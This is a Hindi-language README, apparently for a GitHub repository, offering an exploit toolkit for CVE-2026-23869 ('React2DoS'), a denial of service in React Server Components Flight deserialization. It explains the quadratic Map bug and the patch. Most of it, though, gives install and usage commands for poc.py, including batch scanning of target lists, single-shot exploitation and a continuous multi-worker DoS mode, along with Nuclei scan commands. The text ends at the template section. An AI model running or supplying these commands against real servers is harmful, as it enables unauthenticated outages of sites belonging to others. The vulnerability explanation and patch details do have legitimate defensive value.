⚡ CVE-2026-23869 — React2DoS

React Flight प्रोटोकॉल के माध्यम से बिना प्रमाणीकरण के रिमोट डिनायल-ऑफ-सर्विस
_{सर्वर कंपोनेंट्स Map डिसीरियलाइज़ेशन में क्वाड्रेटिक CPU थकावट}

अवलोकन • यह कैसे काम करता है • उपकरण • स्थापना • उपयोग • Nuclei • समाधान • अस्वीकरण

---

भेद्यता अवलोकन

फ़ील्ड	विवरण
CVE ID	CVE-2026-23869
उपनाम	React2DoS
CVSS स्कोर	7.5 (उच्च)
CVSS वेक्टर	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE	CWE-400 (अनियंत्रित संसाधन खपत)
प्रकार	बिना प्रमाणीकरण के रिमोट डिनायल ऑफ सर्विस
खोजकर्ता	Yohann Sillam (Imperva थ्रेट रिसर्च)
प्रभावित	react-server-dom-webpack / parcel / turbopack ≤ 19.2.4
पैच किया गया	React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

React सर्वर कंपोनेंट्स के Flight प्रोटोकॉल डी-सीरियलाइज़ेशन में एक गंभीर डिनायल-ऑफ-सर्विस भेद्यता मौजूद है। एक बिना प्रमाणीकृत हमलावर किसी भी Next.js App Router सर्वर एक्शन एंडपॉइंट पर एक एकल क्राफ्टेड HTTP अनुरोध भेज सकता है, जिससे क्वाड्रेटिक O(n²) CPU थकावट होती है जो सर्वर को मिनटों के लिए लॉक कर देती है।

संदर्भ

• Vercel आधिकारिक सलाह
• Imperva तकनीकी विश्लेषण — "React2DoS"
• React पैच PR #36236
• NVD प्रविष्टि

---

यह कैसे काम करता है

बग: Map डी-सीरियलाइज़ेशन में लापता consumed फ़्लैग

React Flight प्रोटोकॉल डेटा प्रकारों को सीरियलाइज़ करने के लिए विशेष मार्करों का उपयोग करता है। $Q एक Map ऑब्जेक्ट का प्रतिनिधित्व करता है। जब सर्वर को स्व-संदर्भित $Q0 मार्करों वाला पेलोड प्राप्त होता है:

Payload: [ [1,1], [1,1], ...(n वैध प्रविष्टियाँ)..., "$Q0", "$Q0", ...(n संदर्भ)... ]

प्रत्येक $Q0 एक new Map() कंस्ट्रक्टर को ट्रिगर करता है जो सभी n वैध प्रविष्टियों पर पुनरावृत्ति करता है। Map कंस्ट्रक्टर एक त्रुटि फेंकता है (क्योंकि प्रविष्टियाँ दोषपूर्ण हैं), लेकिन महत्वपूर्ण बग यह है: विफलता पर consumed फ़्लैग कभी सेट नहीं होता।

इसका मतलब है कि अगला $Q0 उसी Map को शुरू से पुनः गणना करता है → O(n²) जटिलता पैदा करता है:

n वैध प्रविष्टियाँ × n $Q0 संदर्भ = n² Map कंस्ट्रक्टर कॉल

उदाहरण: 65,000 × 65,000 = 4,225,000,000 ऑपरेशन
परिणाम: एकल अनुरोध CPU को 5-10+ मिनट के लिए लॉक करता है

हमले का प्रवाह

┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ हमलावर   │ ──────────────────────────────────────▶ │  Next.js सर्वर  │
│          │     हेडर: Next-Action: <action_id>    │                  │
│          │     बॉडी: [[1,1]...,"$Q0","$Q0"...]   │  ██████████ CPU  │
│          │                                        │  100% लॉक       │
└──────────┘                                        │  ~5-10 मिनट      │
                                                    └──────────────────┘

भेद्य कोड (फिक्स से पहले)

// ReactFlightReplyServer.js — पैच से पहले
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← विफल होता है लेकिन consumed = true सेट नहीं करता
                         //   अगला $Q0 शुरू से पुनः गणना करता है
}

पैच किया गया कोड (फिक्स के बाद)

// ReactFlightReplyServer.js — पैच के बाद (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← फिक्स: कंस्ट्रक्शन से पहले फ़्लैग सेट करें
  return new Map(data);  //   बार-बार पुनः गणना को रोकता है
}

---

शामिल उपकरण

फ़ाइल	विवरण
poc.py	4-चरणीय पाइपलाइन (रिकॉन → एक्सट्रैक्ट → डिटेक्ट → एक्सप्लॉइट) के साथ पूर्ण-स्वचालित एक्सप्लॉइट टूल
CVE-2026-23869.yaml	फ्लो-आधारित ऑर्केस्ट्रेशन के साथ Nuclei डिटेक्शन टेम्पलेट
scan.sh	रैपर स्क्रिप्ट: httpx लाइव फ़िल्टरिंग + nuclei स्कैनिंग
extract-action-ids.sh	स्टैंडअलोन सर्वर एक्शन ID एक्सट्रैक्टर

---

स्थापना

# रिपॉजिटरी क्लोन करें
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Python निर्भरता स्थापित करें
pip install requests

# स्क्रिप्ट्स को निष्पादन योग्य बनाएं
chmod +x poc.py scan.sh extract-action-ids.sh

वैकल्पिक निर्भरताएँ

# Nuclei टेम्पलेट स्कैनिंग के लिए
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# लाइव टारगेट फ़िल्टरिंग के लिए
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

---

उपयोग

🔥 पूर्ण स्वचालित स्कैन (एकल टारगेट)

बस URL दें — टूल सब कुछ स्वचालित रूप से करता है:

python3 poc.py -u https://target.com

क्या होता है:

1. चरण 1 — रिकॉन: Next.js फ़िंगरप्रिंट करता है (हेडर, HTML मार्कर, बिल्ड ID)
2. चरण 2 — एक्सट्रैक्ट: JS बंडलों से सर्वर एक्शन ID ढूंढता है
3. चरण 3 — डिटेक्ट: सुरक्षित समय-आधारित भेद्यता जांच (500-प्रविष्टि प्रोब)
4. चरण 4 — रिपोर्ट: समय विश्लेषण के साथ भेद्यता निर्णय दिखाता है

📋 बैच स्कैन (एकाधिक टारगेट)

# डोमेन/IP की सूची स्कैन करें
python3 poc.py -L targets.txt

# JSON रिपोर्ट आउटपुट के साथ
python3 poc.py -L targets.txt -o results.json

🎯 मैनुअल मोड (ज्ञात एक्शन ID)

# केवल सुरक्षित डिटेक्शन
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# सिंगल-शॉट एक्सप्लॉइट
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# निरंतर DoS (10 वर्कर)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 केवल एक्शन ID एक्सट्रैक्ट करें

python3 poc.py -u https://target.com --extract

⚙️ सभी विकल्प

Options:
  -u, --url URL          टारगेट URL (एकल टारगेट)
  -L, --list FILE        टारगेट URL/IP वाली फ़ाइल (प्रति पंक्ति एक)
  -a, --action-id ID     सर्वर एक्शन ID (स्वचालित निष्कर्षण छोड़ें)
  --detect               केवल डिटेक्शन — सुरक्षित, गैर-विनाशकारी (डिफ़ॉल्ट)
  --single               डिटेक्शन के बाद सिंगल-शॉट एक्सप्लॉइट
  --exploit              डिटेक्शन के बाद निरंतर DoS
  --extract              केवल एक्शन ID निकालें
  -l, --length N         पेलोड प्रविष्टियाँ (डिफ़ॉल्ट: 130000)
  -w, --workers N        समवर्ती वर्कर (डिफ़ॉल्ट: 5)
  -d, --delay SEC        अनुरोधों के बीच देरी (डिफ़ॉल्ट: 1.0)
  -o, --output FILE      JSON रिपोर्ट सहेजें
  -t, --threads N        सूची स्कैन के लिए समवर्ती टारगेट (डिफ़ॉल्ट: 3)

पिछड़ी संगतता

मूल PoC सिंटैक्स अभी भी काम करता है:

python3 poc.py <ACTION_ID> <URL>

---

Nuclei टेम्पलेट

त्वरित स्कैन

# एकल टारगेट
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos

# एकाधिक टारगेट
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos

# स्वच्छ आउटपुट (केवल भेद्य परिणाम)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent

नोट: -itags dos फ़्लैग आवश्यक है क्योंकि Nuclei सुरक्षा के लिए डिफ़ॉल्ट रूप से DoS टेम्पलेट्स को बाहर करता है।

टेम्पलेट डिटेक्शन प्रवाह